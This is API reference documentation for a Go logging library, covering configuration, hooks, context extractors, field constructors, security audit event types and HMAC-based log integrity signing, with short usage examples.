type AuditEvent struct {
	// Type is the type of audit event.
	Type AuditEventType `json:"type"`
	// Timestamp is when the event occurred.
	Timestamp time.Time `json:"timestamp"`
	// Message is a human-readable description of the event.
	Message string `json:"message"`
	// Pattern is the regex pattern that triggered the event (if applicable).
	Pattern string `json:"pattern,omitempty"`
	// Field is the field name that triggered the event (if applicable).
	Field string `json:"field,omitempty"`
	// Metadata contains additional context about the event.
	Metadata map[string]any `json:"metadata,omitempty"`
	// Severity indicates the severity level of the event.
	Severity AuditSeverity `json:"severity"`
}

AuditEvent represents a security audit event.

type AuditEventType added in v1.2.0

type AuditEventType int

AuditEventType represents the type of security audit event.

const (
	// AuditEventSensitiveDataRedacted is logged when sensitive data is redacted.
	AuditEventSensitiveDataRedacted AuditEventType = iota
	// AuditEventRateLimitExceeded is logged when rate limiting is triggered.
	AuditEventRateLimitExceeded
	// AuditEventReDoSAttempt is logged when a potential ReDoS pattern is detected.
	AuditEventReDoSAttempt
	// AuditEventSecurityViolation is logged for general security violations.
	AuditEventSecurityViolation
	// AuditEventIntegrityViolation is logged when log integrity verification fails.
	AuditEventIntegrityViolation
	// AuditEventInputSanitized is logged when input is sanitized.
	AuditEventInputSanitized
	// AuditEventPathTraversalAttempt is logged when path traversal is detected.
	AuditEventPathTraversalAttempt
	// AuditEventLog4ShellAttempt is logged when Log4Shell pattern is detected.
	AuditEventLog4ShellAttempt
	// AuditEventNullByteInjection is logged when null byte injection is detected.
	AuditEventNullByteInjection
	// AuditEventOverlongEncoding is logged when UTF-8 overlong encoding is detected.
	AuditEventOverlongEncoding
	// AuditEventHomographAttack is logged when homograph attack is detected.
	AuditEventHomographAttack
)

func (AuditEventType) String added in v1.2.0

func (e AuditEventType) String() string

String returns the string representation of the audit event type.

type AuditLogger added in v1.2.0

type AuditLogger struct {
	// contains filtered or unexported fields
}

AuditLogger logs security audit events asynchronously. It uses a buffered channel for event processing to avoid blocking the hot path in the logger.

func NewAuditLogger added in v1.2.0

func NewAuditLogger(configs ...*AuditConfig) *AuditLogger

NewAuditLogger creates a new AuditLogger with the given configuration. If no configuration is provided, DefaultAuditConfig() is used.

func (*AuditLogger) Close added in v1.2.0

func (al *AuditLogger) Close() error

Close stops the audit logger and flushes remaining events.

func (*AuditLogger) Log added in v1.2.0

func (al *AuditLogger) Log(event AuditEvent)

Log records an audit event asynchronously. If the buffer is full, the event is dropped and the dropped counter is incremented.

func (*AuditLogger) LogIntegrityViolation added in v1.2.0

func (al *AuditLogger) LogIntegrityViolation(message string, metadata map[string]any)

LogIntegrityViolation logs an integrity violation event.

func (*AuditLogger) LogPathTraversalAttempt added in v1.2.0

func (al *AuditLogger) LogPathTraversalAttempt(path, message string)

LogPathTraversalAttempt logs a path traversal attempt event.

func (*AuditLogger) LogRateLimitExceeded added in v1.2.0

func (al *AuditLogger) LogRateLimitExceeded(message string, metadata map[string]any)

LogRateLimitExceeded logs a rate limit exceeded event.

func (*AuditLogger) LogReDoSAttempt added in v1.2.0

func (al *AuditLogger) LogReDoSAttempt(pattern, message string)

LogReDoSAttempt logs a ReDoS attempt event.

func (*AuditLogger) LogSecurityViolation added in v1.2.0

func (al *AuditLogger) LogSecurityViolation(violationType string, message string, metadata map[string]any)

LogSecurityViolation logs a security violation event.

func (*AuditLogger) LogSensitiveDataRedaction added in v1.2.0

func (al *AuditLogger) LogSensitiveDataRedaction(pattern, field, message string)

LogSensitiveDataRedaction logs a sensitive data redaction event.

func (*AuditLogger) Stats added in v1.2.0

func (al *AuditLogger) Stats() AuditStats

Stats returns current audit logger statistics.

type AuditSeverity added in v1.2.0

type AuditSeverity int

AuditSeverity represents the severity level of an audit event.

const (
	// AuditSeverityInfo is for informational events.
	AuditSeverityInfo AuditSeverity = iota
	// AuditSeverityWarning is for warning events.
	AuditSeverityWarning
	// AuditSeverityError is for error events.
	AuditSeverityError
	// AuditSeverityCritical is for critical security events.
	AuditSeverityCritical
)

func (AuditSeverity) MarshalJSON added in v1.2.0

func (s AuditSeverity) MarshalJSON() ([]byte, error)

MarshalJSON implements json.Marshaler for AuditSeverity.

func (AuditSeverity) String added in v1.2.0

func (s AuditSeverity) String() string

String returns the string representation of the audit severity.

type AuditStats added in v1.2.0

type AuditStats struct {
	TotalEvents int64                    // Total events logged
	Dropped     int64                    // Events dropped due to full buffer
	ByType      map[AuditEventType]int64 // Events by type
	BufferSize  int                      // Configured buffer size
	BufferUsage int                      // Current buffer usage
}

AuditStats holds audit logger statistics.

type AuditVerificationResult added in v1.2.0

type AuditVerificationResult struct {
	// Valid indicates if the signature is valid.
	Valid bool
	// Event is the parsed audit event (if valid JSON).
	Event *AuditEvent
	// RawEvent is the raw event string without signature.
	RawEvent string
	// Error contains any error encountered during verification.
	Error error
}

AuditVerificationResult contains the result of audit event verification.

func VerifyAuditEvent added in v1.2.0

func VerifyAuditEvent(entry string, signer *IntegritySigner) *AuditVerificationResult

VerifyAuditEvent verifies the integrity of an audit log entry. Returns the verification result including the parsed event if valid.

type BufferedWriter

type BufferedWriter struct {
	// contains filtered or unexported fields
}

BufferedWriter wraps an io.Writer with buffering capabilities. It automatically flushes when the buffer reaches a certain size or after a timeout.

IMPORTANT: Always call Close() when done to ensure all buffered data is flushed. Failure to call Close() may result in data loss.

func NewBufferedWriter

func NewBufferedWriter(w io.Writer, bufferSizes ...int) (*BufferedWriter, error)

NewBufferedWriter creates a new BufferedWriter with the specified buffer size. The writer automatically flushes when the buffer is half full or every 100ms. Remember to call Close() to ensure all buffered data is written to the underlying writer. If bufferSize is not specified or is 0, 1KB is used.

func (*BufferedWriter) Close

func (bw *BufferedWriter) Close() error

func (*BufferedWriter) Flush

func (bw *BufferedWriter) Flush() error

func (*BufferedWriter) Write

func (bw *BufferedWriter) Write(p []byte) (int, error)

type Config added in v1.2.0

type Config struct {
	// Log level
	Level LogLevel

	// Output format
	Format LogFormat

	// Time settings
	TimeFormat   string
	IncludeTime  bool
	IncludeLevel bool

	// Caller information
	DynamicCaller bool
	FullPath      bool

	// Output targets
	Output  io.Writer   // Single output writer
	Outputs []io.Writer // Multiple output writers
	File    *FileConfig // File output configuration

	// JSON configuration
	JSON *JSONOptions

	// Security configuration
	Security *SecurityConfig

	// Field validation configuration
	FieldValidation *FieldValidationConfig

	// Lifecycle handlers
	FatalHandler      FatalHandler
	WriteErrorHandler WriteErrorHandler

	// Extensibility
	ContextExtractors []ContextExtractor
	Hooks             *HookRegistry
	Sampling          *SamplingConfig
}

Config provides a struct-based configuration API for creating loggers. Direct field modification with IDE autocomplete support.

Example:

cfg := dd.DefaultConfig()
cfg.Format = dd.FormatJSON
cfg.Level = dd.LevelDebug
logger, _ := dd.New(cfg)

func DefaultConfig

func DefaultConfig() *Config

DefaultConfig creates a new Config with default settings.

Example:

cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
logger, _ := dd.New(cfg)

func DevelopmentConfig

func DevelopmentConfig() *Config

DevelopmentConfig creates a Config with development-friendly settings. Enables DEBUG level and dynamic caller detection. Note: Security filtering is enabled by default even in development mode to catch accidental logging of sensitive data early in the development cycle.

Example:

cfg := dd.DevelopmentConfig()
cfg.File = &dd.FileConfig{Path: "dev.log"}
logger, _ := dd.New(cfg)

func JSONConfig

func JSONConfig() *Config

JSONConfig creates a Config with JSON output settings. Note: Security filtering is enabled by default to prevent sensitive data from being logged in JSON format which is often shipped to external systems.

Example:

cfg := dd.JSONConfig()
cfg.Level = dd.LevelInfo
logger, _ := dd.New(cfg)

func (*Config) Clone added in v1.2.0

func (c *Config) Clone() *Config

Clone creates a copy of the configuration.

Clone behavior:

  • Deep copy: File, JSON, Sampling, Security, Hooks configs
  • Shallow copy: Output, Outputs, FatalHandler, WriteErrorHandler, FieldValidation (io.Writer instances and function pointers are shared)
  • ContextExtractors slice is copied but extractor instances are shared

The shallow copy behavior for io.Writer is intentional since writers are typically shared resources that should not be duplicated.

Example:

base := dd.DefaultConfig()
base.Format = dd.FormatJSON

appCfg := base.Clone()
appCfg.File = &dd.FileConfig{Path: "app.log"}
logger, _ := dd.New(appCfg)

type ConfigurableLogger added in v1.2.0

type ConfigurableLogger interface {
	CoreLogger

	// Level management
	GetLevel() LogLevel
	SetLevel(level LogLevel) error

	// Writer management
	AddWriter(writer io.Writer) error
	RemoveWriter(writer io.Writer) error
	WriterCount() int

	// Lifecycle
	Flush() error
	Close() error
	IsClosed() bool

	// Configuration
	SetSecurityConfig(config *SecurityConfig)
	GetSecurityConfig() *SecurityConfig
	SetWriteErrorHandler(handler WriteErrorHandler)

	// Context extractors
	AddContextExtractor(extractor ContextExtractor) error
	SetContextExtractors(extractors ...ContextExtractor) error
	GetContextExtractors() []ContextExtractor

	// Hooks
	AddHook(event HookEvent, hook Hook) error
	SetHooks(registry *HookRegistry) error
	GetHooks() *HookRegistry

	// Sampling
	SetSampling(config *SamplingConfig)
	GetSampling() *SamplingConfig
}

ConfigurableLogger extends CoreLogger with configuration and lifecycle methods.

type ContextExtractor added in v1.2.0

type ContextExtractor func(ctx context.Context) []Field

ContextExtractor is a function that extracts logging fields from a context. This allows integration with various tracing frameworks (OpenTelemetry, Jaeger, etc.) by providing custom field extraction logic.

Example:

// OpenTelemetry trace extractor
otelExtractor := func(ctx context.Context) []Field {
    span := trace.SpanFromContext(ctx)
    if !span.SpanContext().IsValid() {
        return nil
    }
    return []Field{
        String("trace_id", span.SpanContext().TraceID().String()),
        String("span_id", span.SpanContext().SpanID().String()),
    }
}

type ContextExtractorRegistry added in v1.2.0

type ContextExtractorRegistry struct {
	// contains filtered or unexported fields
}

ContextExtractorRegistry manages a collection of context extractors. It is thread-safe and supports dynamic addition of extractors. Uses atomic.Pointer for lock-free reads.

func DefaultContextExtractorRegistry added in v1.2.0

func DefaultContextExtractorRegistry() *ContextExtractorRegistry

DefaultContextExtractorRegistry returns a singleton registry with the default extractors. The default extractors extract trace_id, span_id, and request_id from context values. This function is thread-safe and uses sync.Once for initialization.

func NewContextExtractorRegistry added in v1.2.0

func NewContextExtractorRegistry() *ContextExtractorRegistry

NewContextExtractorRegistry creates a new empty extractor registry.

func (*ContextExtractorRegistry) Add added in v1.2.0

func (r *ContextExtractorRegistry) Add(extractor ContextExtractor)

Add adds a context extractor to the registry. If the extractor is nil, it is ignored. This method is thread-safe.

func (*ContextExtractorRegistry) Clear added in v1.2.0

func (r *ContextExtractorRegistry) Clear()

Clear removes all registered extractors.

func (*ContextExtractorRegistry) Clone added in v1.2.0

Clone creates a copy of the registry with the same extractors. The extractors themselves are shared (functions are not copied).

func (*ContextExtractorRegistry) Count added in v1.2.0

func (r *ContextExtractorRegistry) Count() int

Count returns the number of registered extractors.

func (*ContextExtractorRegistry) Extract added in v1.2.0

func (r *ContextExtractorRegistry) Extract(ctx context.Context) []Field

Extract executes all registered extractors and returns the combined fields. Extractors are called in the order they were added. This method is thread-safe and uses lock-free reads.

Panic Recovery: If an extractor panics, the panic is recovered, logged to stderr, and the extractor is skipped. This ensures that a misbehaving extractor cannot crash the application.

type ContextKey added in v1.2.0

type ContextKey string

ContextKey is a type-safe key for context values. Using a custom type prevents key collisions with other packages that may also store values in context.

Example:

ctx := dd.WithTraceID(context.Background(), "abc123")
traceID := dd.GetTraceID(ctx)
const (
	// ContextKeyTraceID is the context key for trace ID.
	// This key is used by default context extractors to retrieve
	// the trace ID from context.
	ContextKeyTraceID ContextKey = "trace_id"

	// ContextKeySpanID is the context key for span ID.
	// This key is used by default context extractors to retrieve
	// the span ID from context.
	ContextKeySpanID ContextKey = "span_id"

	// ContextKeyRequestID is the context key for request ID.
	// This key is used by default context extractors to retrieve
	// the request ID from context.
	ContextKeyRequestID ContextKey = "request_id"
)

type CoreLogger added in v1.2.0

type CoreLogger interface {
	// Core logging methods - Debug level
	Debug(args ...any)
	Debugf(format string, args ...any)
	DebugWith(msg string, fields ...Field)

	// Core logging methods - Info level
	Info(args ...any)
	Infof(format string, args ...any)
	InfoWith(msg string, fields ...Field)

	// Core logging methods - Warn level
	Warn(args ...any)
	Warnf(format string, args ...any)
	WarnWith(msg string, fields ...Field)

	// Core logging methods - Error level
	Error(args ...any)
	Errorf(format string, args ...any)
	ErrorWith(msg string, fields ...Field)

	// Core logging methods - Fatal level
	Fatal(args ...any)
	Fatalf(format string, args ...any)
	FatalWith(msg string, fields ...Field)

	// Field chaining
	WithFields(fields ...Field) *LoggerEntry
	WithField(key string, value any) *LoggerEntry
}

CoreLogger defines the core logging interface with basic logging methods. This is the primary interface for basic logging operations. Use this interface for dependency injection when you only need logging methods.

type FatalHandler

type FatalHandler func()

type Field

type Field = internal.Field

Field represents a structured log field with a key-value pair. Type alias to internal.Field for API compatibility.

func Any

func Any(key string, value any) Field

Any creates a field with any value.

func Bool

func Bool(key string, value bool) Field

Bool creates a field with a bool value.

func Duration added in v1.2.0

func Duration(key string, value time.Duration) Field

Duration creates a field with a time.Duration value.

func Err

func Err(err error) Field

Err creates a field from an error. If the error is nil, the value will be nil. Otherwise, the value will be the error's message string.

func ErrWithKey added in v1.2.0

func ErrWithKey(key string, err error) Field

ErrWithKey creates a field from an error with a custom key.

func ErrWithStack added in v1.2.0

func ErrWithStack(err error) Field

ErrWithStack creates a field from an error including its stack trace. Note: Stack trace capture has a small performance overhead.

func Float32 added in v1.2.0

func Float32(key string, value float32) Field

Float32 creates a field with a float32 value.

func Float64

func Float64(key string, value float64) Field

Float64 creates a field with a float64 value.

func Int

func Int(key string, value int) Field

Int creates a field with an int value.

func Int8 added in v1.2.0

func Int8(key string, value int8) Field

Int8 creates a field with an int8 value.

func Int16 added in v1.2.0

func Int16(key string, value int16) Field

Int16 creates a field with an int16 value.

func Int32 added in v1.2.0

func Int32(key string, value int32) Field

Int32 creates a field with an int32 value.

func Int64

func Int64(key string, value int64) Field

Int64 creates a field with an int64 value.

func NamedErr deprecated added in v1.2.0

func NamedErr(key string, err error) Field

NamedErr creates a field from an error with a custom key name. This is an alias for ErrWithKey, provided for naming consistency with other field constructors.

Deprecated: Use ErrWithKey instead. The two functions are identical, but ErrWithKey follows the naming convention of other field constructors.

func String

func String(key, value string) Field

String creates a field with a string value.

func Time added in v1.2.0

func Time(key string, value time.Time) Field

Time creates a field with a time.Time value.

func Uint added in v1.2.0

func Uint(key string, value uint) Field

Uint creates a field with a uint value.

func Uint8 added in v1.2.0

func Uint8(key string, value uint8) Field

Uint8 creates a field with a uint8 value.

func Uint16 added in v1.2.0

func Uint16(key string, value uint16) Field

Uint16 creates a field with a uint16 value.

func Uint32 added in v1.2.0

func Uint32(key string, value uint32) Field

Uint32 creates a field with a uint32 value.

func Uint64 added in v1.2.0

func Uint64(key string, value uint64) Field

Uint64 creates a field with a uint64 value.

type FieldNamingConvention added in v1.2.0

type FieldNamingConvention int

FieldNamingConvention specifies the expected naming convention for field keys.

const (
	// NamingConventionAny accepts any valid field key (default).
	NamingConventionAny FieldNamingConvention = iota

	// NamingConventionSnakeCase expects field keys in snake_case format.
	// Example: user_id, first_name, created_at
	NamingConventionSnakeCase

	// NamingConventionCamelCase expects field keys in camelCase format.
	// Example: userId, firstName, createdAt
	NamingConventionCamelCase

	// NamingConventionPascalCase expects field keys in PascalCase format.
	// Example: UserId, FirstName, CreatedAt
	NamingConventionPascalCase

	// NamingConventionKebabCase expects field keys in kebab-case format.
	// Example: user-id, first-name, created-at
	NamingConventionKebabCase
)

func (FieldNamingConvention) String added in v1.2.0

func (c FieldNamingConvention) String() string

String returns the string representation of the naming convention.

type FieldValidationConfig added in v1.2.0

type FieldValidationConfig struct {
	// Mode determines how validation failures are handled.
	Mode FieldValidationMode

	// Convention specifies the expected naming convention for field keys.
	Convention FieldNamingConvention

	// AllowCommonAbbreviations allows common abbreviations like ID, URL, HTTP
	// even when they don't strictly match the naming convention.
	AllowCommonAbbreviations bool

	// EnableSecurityValidation enables strict security validation including
	// Log4Shell detection, homograph attack detection, and overlong UTF-8 checks.
	// Default: true when Mode is not FieldValidationNone
	EnableSecurityValidation bool
}

FieldValidationConfig configures field key validation.

func DefaultFieldValidationConfig added in v1.2.0

func DefaultFieldValidationConfig() *FieldValidationConfig

DefaultFieldValidationConfig returns the default field validation configuration which disables validation.

func StrictCamelCaseConfig added in v1.2.0

func StrictCamelCaseConfig() *FieldValidationConfig

StrictCamelCaseConfig returns a config for strict camelCase validation.

func StrictSnakeCaseConfig added in v1.2.0

func StrictSnakeCaseConfig() *FieldValidationConfig

StrictSnakeCaseConfig returns a config for strict snake_case validation.

func (*FieldValidationConfig) ValidateFieldKey added in v1.2.0

func (c *FieldValidationConfig) ValidateFieldKey(key string) error

ValidateFieldKey validates a field key against the configured naming convention. Returns an error describing the validation failure, or nil if valid. Security validation is always performed when Mode is not FieldValidationNone.

type FieldValidationMode added in v1.2.0

type FieldValidationMode int

FieldValidationMode determines how field key validation is performed.

const (
	// FieldValidationNone disables field key validation (default).
	// All field keys are accepted without any checks.
	FieldValidationNone FieldValidationMode = iota

	// FieldValidationWarn logs a warning for field keys that don't match
	// the configured naming convention, but still accepts them.
	FieldValidationWarn

	// FieldValidationStrict rejects field keys that don't match the configured
	// naming convention by returning an error from the logging method.
	// Note: For performance reasons, validation errors are logged rather than
	// returned from logging methods, as they don't return errors.
	FieldValidationStrict
)

func (FieldValidationMode) String added in v1.2.0

func (m FieldValidationMode) String() string

String returns the string representation of the validation mode.

type FileConfig added in v1.2.0

type FileConfig struct {
	Path       string        // Log file path
	MaxSizeMB  int           // Max file size in MB before rotation (default: 100)
	MaxBackups int           // Max number of old log files to retain (default: 10)
	MaxAge     time.Duration // Max duration to retain old log files (default: 30 days)
	Compress   bool          // Enable gzip compression for rotated files (default: false)
}

FileConfig configures file output with rotation settings.

type FileWriter

type FileWriter struct {
	// contains filtered or unexported fields
}

func NewFileWriter

func NewFileWriter(path string, opts ...FileWriterConfig) (*FileWriter, error)

func (*FileWriter) Close

func (fw *FileWriter) Close() error

func (*FileWriter) Write

func (fw *FileWriter) Write(p []byte) (int, error)

type FileWriterConfig

type FileWriterConfig struct {
	MaxSizeMB  int
	MaxAge     time.Duration
	MaxBackups int
	Compress   bool
}

func DefaultFileWriterConfig added in v1.2.0

func DefaultFileWriterConfig() FileWriterConfig

DefaultFileWriterConfig returns FileWriterConfig with sensible defaults. Default values: MaxSizeMB=100, MaxAge=30 days, MaxBackups=10, Compress=false.

type FilterStats added in v1.2.0

type FilterStats struct {
	ActiveGoroutines  int32         // Number of currently running filter goroutines
	PatternCount      int32         // Number of registered sensitive data patterns
	SemaphoreCapacity int           // Maximum concurrent filter operations
	MaxInputLength    int           // Maximum input length before truncation
	Enabled           bool          // Whether filtering is enabled
	TotalFiltered     int64         // Total number of filter operations
	TotalRedactions   int64         // Total number of redactions performed
	TotalTimeouts     int64         // Total number of timeout events
	AverageLatency    time.Duration // Average latency per filter operation
	CacheHits         int64         // Number of cache hits
	CacheMiss         int64         // Number of cache misses
}

FilterStats holds filter statistics for monitoring and observability. This provides a snapshot of the filter's current state for health checks and performance monitoring.

type Flusher added in v1.2.0

type Flusher interface {
	Flush() error
}

Flusher is an interface for writers that can flush buffered data. Writers implementing this interface will have their Flush method called during Logger.Flush() to ensure all buffered data is written.

type HashAlgorithm added in v1.2.0

type HashAlgorithm int

HashAlgorithm defines the hash algorithm for integrity verification.

const (
	// HashAlgorithmSHA256 uses SHA-256 for HMAC signatures.
	HashAlgorithmSHA256 HashAlgorithm = iota
)

func (HashAlgorithm) String added in v1.2.0

func (a HashAlgorithm) String() string

String returns the string representation of the hash algorithm.

type Hook added in v1.2.0

type Hook func(ctx context.Context, hookCtx *HookContext) error

Hook is a function that is called during logging lifecycle events. If a BeforeLog hook returns an error, the log entry is not written. For other events, the error is logged but does not prevent the operation.

type HookContext added in v1.2.0

type HookContext struct {
	// Event is the type of hook event being triggered.
	Event HookEvent

	// Level is the log level for log-related events.
	Level LogLevel

	// Message is the log message (may be empty for non-log events).
	Message string

	// Fields are the structured fields attached to the log entry (after filtering).
	Fields []Field

	// OriginalFields are the fields before sensitive data filtering.
	// This allows hooks to access the original values if needed.
	OriginalFields []Field

	// Error contains any error that occurred (for OnError events).
	Error error

	// Timestamp is when the event occurred.
	Timestamp time.Time

	// Writer is the target writer (for write-related events).
	Writer io.Writer

	// Additional metadata can be stored here.
	Metadata map[string]any
}

HookContext provides contextual information for hook execution.

type HookErrorHandler added in v1.2.0

type HookErrorHandler func(event HookEvent, hookCtx *HookContext, err error)

HookErrorHandler handles errors that occur during hook execution. This allows custom error handling strategies such as logging, metrics, or ignoring errors for non-critical hooks.

Parameters:

  • event: The hook event type that triggered the error
  • hookCtx: The context provided to the hook
  • err: The error returned by the hook

The handler should not panic. If it does, the panic will be recovered and logged to stderr.

type HookErrorInfo added in v1.2.0

type HookErrorInfo struct {
	Event     HookEvent
	Timestamp time.Time
	Error     error
	Message   string // The log message being processed (if applicable)
}

HookErrorInfo contains information about a hook error.

type HookErrorRecorder added in v1.2.0

type HookErrorRecorder struct {
	// contains filtered or unexported fields
}

HookErrorRecorder records hook errors for later inspection. This is useful for testing or monitoring hook health.

Usage:

recorder := NewHookErrorRecorder()
registry := NewHookRegistryWithErrorHandler(recorder.Handler())
// ... after hooks run ...
errors := recorder.Errors()
for _, err := range errors {
    log.Printf("Hook error: %v", err)
}

func NewHookErrorRecorder added in v1.2.0

func NewHookErrorRecorder() *HookErrorRecorder

NewHookErrorRecorder creates a new HookErrorRecorder.

func (*HookErrorRecorder) Clear added in v1.2.0

func (r *HookErrorRecorder) Clear()

Clear removes all recorded errors.

func (*HookErrorRecorder) Count added in v1.2.0

func (r *HookErrorRecorder) Count() int

Count returns the number of recorded errors.

func (*HookErrorRecorder) Errors added in v1.2.0

func (r *HookErrorRecorder) Errors() []HookErrorInfo

Errors returns all recorded errors.

func (*HookErrorRecorder) Handler added in v1.2.0

func (r *HookErrorRecorder) Handler() HookErrorHandler

Handler returns a HookErrorHandler that records errors to this recorder.

func (*HookErrorRecorder) HasErrors added in v1.2.0

func (r *HookErrorRecorder) HasErrors() bool

HasErrors returns true if any errors have been recorded.

type HookEvent added in v1.2.0

type HookEvent int

HookEvent represents the type of event that triggers a hook.

const (
	// HookBeforeLog is triggered before a log message is written.
	// Hooks can modify fields or abort logging by returning an error.
	HookBeforeLog HookEvent = iota

	// HookAfterLog is triggered after a log message is successfully written.
	HookAfterLog

	// HookOnFilter is triggered when sensitive data is filtered.
	HookOnFilter

	// HookOnRotate is triggered when a log file is rotated.
	HookOnRotate

	// HookOnClose is triggered when the logger is closed.
	HookOnClose

	// HookOnError is triggered when a write error occurs.
	HookOnError
)

func (HookEvent) String added in v1.2.0

func (e HookEvent) String() string

String returns the string representation of the hook event.

type HookRegistry added in v1.2.0

type HookRegistry struct {
	// contains filtered or unexported fields
}

HookRegistry manages a collection of hooks organized by event type. It is thread-safe and supports dynamic hook registration.

Error Handling Behavior:

  • By default, Trigger returns the first error from a hook and stops execution
  • If an error handler is set via SetErrorHandler, all hooks are executed regardless of errors, and errors are passed to the handler
  • For BeforeLog events, an error still prevents the log from being written even with an error handler set

func NewHookRegistry added in v1.2.0

func NewHookRegistry() *HookRegistry

NewHookRegistry creates a new empty hook registry.

func NewHookRegistryWithErrorHandler added in v1.2.0

func NewHookRegistryWithErrorHandler(handler HookErrorHandler) *HookRegistry

NewHookRegistryWithErrorHandler creates a registry with a custom error handler. When an error handler is set, all hooks are executed even if some fail, and errors are passed to the handler instead of being returned immediately.

func NewHooksFromConfig added in v1.2.2

func NewHooksFromConfig(cfg HooksConfig) *HookRegistry

NewHooksFromConfig creates a HookRegistry from the configuration. This is the recommended way to create a hook registry with multiple hooks.

func (*HookRegistry) Add added in v1.2.0

func (r *HookRegistry) Add(event HookEvent, hook Hook)

Add registers a hook for a specific event type. If the hook is nil, it is ignored. Multiple hooks can be registered for the same event. Hooks are executed in the order they were added.

func (*HookRegistry) Clear added in v1.2.0

func (r *HookRegistry) Clear()

Clear removes all registered hooks.

func (*HookRegistry) ClearFor added in v1.2.0

func (r *HookRegistry) ClearFor(event HookEvent)

ClearFor removes all hooks for a specific event type.

func (*HookRegistry) Clone added in v1.2.0

func (r *HookRegistry) Clone() *HookRegistry

Clone creates a copy of the registry with the same hooks and error handler. The hooks themselves are shared (functions are not copied).

func (*HookRegistry) Count added in v1.2.0

func (r *HookRegistry) Count() int

Count returns the total number of registered hooks.

func (*HookRegistry) CountFor added in v1.2.0

func (r *HookRegistry) CountFor(event HookEvent) int

CountFor returns the number of hooks registered for a specific event.

func (*HookRegistry) Remove added in v1.2.0

func (r *HookRegistry) Remove(event HookEvent)

Remove removes all hooks for a specific event type.

func (*HookRegistry) SetErrorHandler added in v1.2.0

func (r *HookRegistry) SetErrorHandler(handler HookErrorHandler)

SetErrorHandler sets the error handler for this registry. Pass nil to remove the error handler and restore default behavior.

func (*HookRegistry) Trigger added in v1.2.0

func (r *HookRegistry) Trigger(ctx context.Context, event HookEvent, hookCtx *HookContext) (err error)

Trigger executes all hooks registered for the given event.

Error Handling Behavior:

  • If no error handler is set (default): hooks are executed in order; if any hook returns an error or panics, execution stops and that error is returned.
  • If an error handler is set: all hooks are executed regardless of errors or panics; each error is passed to the error handler, and the first error is returned.

For BeforeLog events, an error prevents the log from being written regardless of whether an error handler is set.

Panic Recovery: If a hook panics, the panic is recovered and converted to an error. This ensures that a misbehaving hook cannot crash the application.

type HooksConfig added in v1.2.2

type HooksConfig struct {
	// BeforeLog hooks are called before a log message is written.
	BeforeLog []Hook
	// AfterLog hooks are called after a log message is successfully written.
	AfterLog []Hook
	// OnFilter hooks are called when sensitive data is filtered.
	OnFilter []Hook
	// OnRotate hooks are called when a log file is rotated.
	OnRotate []Hook
	// OnClose hooks are called when the logger is closed.
	OnClose []Hook
	// OnError hooks are called when a write error occurs.
	OnError []Hook
	// ErrorHandler handles errors that occur during hook execution.
	ErrorHandler HookErrorHandler
}

HooksConfig provides a struct-based configuration for creating hook registries. This follows the project's design guidelines favoring struct-based configuration over fluent API patterns.

Example:

cfg := HooksConfig{
    BeforeLog: []Hook{myBeforeHook},
    AfterLog:  []Hook{myAfterHook},
    ErrorHandler: func(event HookEvent, hookCtx *HookContext, err error) {
        log.Printf("hook error: %v", err)
    },
}
registry := NewHooksFromConfig(cfg)

type IntegrityConfig added in v1.2.0

type IntegrityConfig struct {
	// SecretKey is the secret key for HMAC signatures.
	// Must be at least 32 bytes for SHA-256.
	// IMPORTANT: Keep this key secure and rotate periodically.
	SecretKey []byte

	// HashAlgorithm is the hash algorithm to use.
	// Default: SHA256
	HashAlgorithm HashAlgorithm

	// IncludeTimestamp determines if timestamps are included in signatures.
	IncludeTimestamp bool

	// IncludeSequence determines if sequence numbers are included.
	// This provides replay attack protection.
	IncludeSequence bool

	// SignaturePrefix is the prefix for signatures in log output.
	// Default: "[SIG:"
	SignaturePrefix string
}

IntegrityConfig configures log integrity verification.

func DefaultIntegrityConfig added in v1.2.0

func DefaultIntegrityConfig() *IntegrityConfig

DefaultIntegrityConfig returns an IntegrityConfig with sensible defaults. Note: A cryptographically secure random key is generated but should be replaced for production use. IMPORTANT: Store the generated key securely if you need to verify logs across restarts.

For production environments where panic is unacceptable, use DefaultIntegrityConfigSafe() instead.

func DefaultIntegrityConfigSafe added in v1.2.0

func DefaultIntegrityConfigSafe() (*IntegrityConfig, error)

DefaultIntegrityConfigSafe returns an IntegrityConfig with sensible defaults. Unlike DefaultIntegrityConfig, this function returns an error instead of panicking if the secure random key generation fails. This is the recommended function for production environments.

Example:

cfg, err := dd.DefaultIntegrityConfigSafe()
if err != nil {
    // Handle error gracefully
    log.Fatal(err)
}

func (*IntegrityConfig) Clone added in v1.2.0

func (c *IntegrityConfig) Clone() *IntegrityConfig

Clone creates a copy of the IntegrityConfig.

func (*IntegrityConfig) MarshalJSON added in v1.2.0

func (c *IntegrityConfig) MarshalJSON() ([]byte, error)

MarshalJSON implements json.Marshaler for IntegrityConfig. Note: SecretKey is intentionally not marshaled for security reasons.

type IntegritySigner added in v1.2.0

type IntegritySigner struct {
	// contains filtered or unexported fields
}

IntegritySigner signs log entries for integrity verification. It uses a sync.Pool for hashers to ensure thread-safe concurrent access.

func NewIntegritySigner added in v1.2.0

func NewIntegritySigner(configs ...*IntegrityConfig) (*IntegritySigner, error)

NewIntegritySigner creates a new IntegritySigner with the given configuration. If no configuration is provided, a secure default configuration is generated. Returns an error if the default configuration cannot be generated (extremely rare, indicates system entropy exhaustion).

func (*IntegritySigner) GetSequence added in v1.2.0

func (s *IntegritySigner) GetSequence() uint64

GetSequence returns the current sequence number.

func (*IntegritySigner) ResetSequence added in v1.2.0

func (s *IntegritySigner) ResetSequence()

ResetSequence resets the sequence counter to 0.

func (*IntegritySigner) Sign added in v1.2.0

func (s *IntegritySigner) Sign(message string) string

Sign generates an HMAC signature for a log message. The signature includes the message, timestamp, and sequence number (if configured). Returns the signature string that should be appended to the log entry. This method is thread-safe and can be called concurrently.

Signature format: [SIG:timestamp:sequence:signature] where timestamp and sequence are included only if configured. This allows proper verification of all signed data.

func (*IntegritySigner) SignFields added in v1.2.0

func (s *IntegritySigner) SignFields(message string, fields []Field) string

SignFields generates an HMAC signature for a message with fields. Fields are included in the signature for additional integrity. This method is thread-safe and can be called concurrently.

Signature format: [SIG:timestamp:sequence:signature] where timestamp and sequence are included only if configured. This allows proper verification of all signed data.

func (*IntegritySigner) Stats added in v1.2.0

func (s *IntegritySigner) Stats() IntegrityStats

Stats returns current integrity signer statistics.

func (*IntegritySigner) Verify added in v1.2.0

func (s *IntegritySigner) Verify(entry string) (*LogIntegrity, error)

Verify verifies the integrity of a log entry. It validates that the signature matches the message, timestamp, and sequence (if configured). Returns the verification result and any error. This method is thread-safe and can be called concurrently.

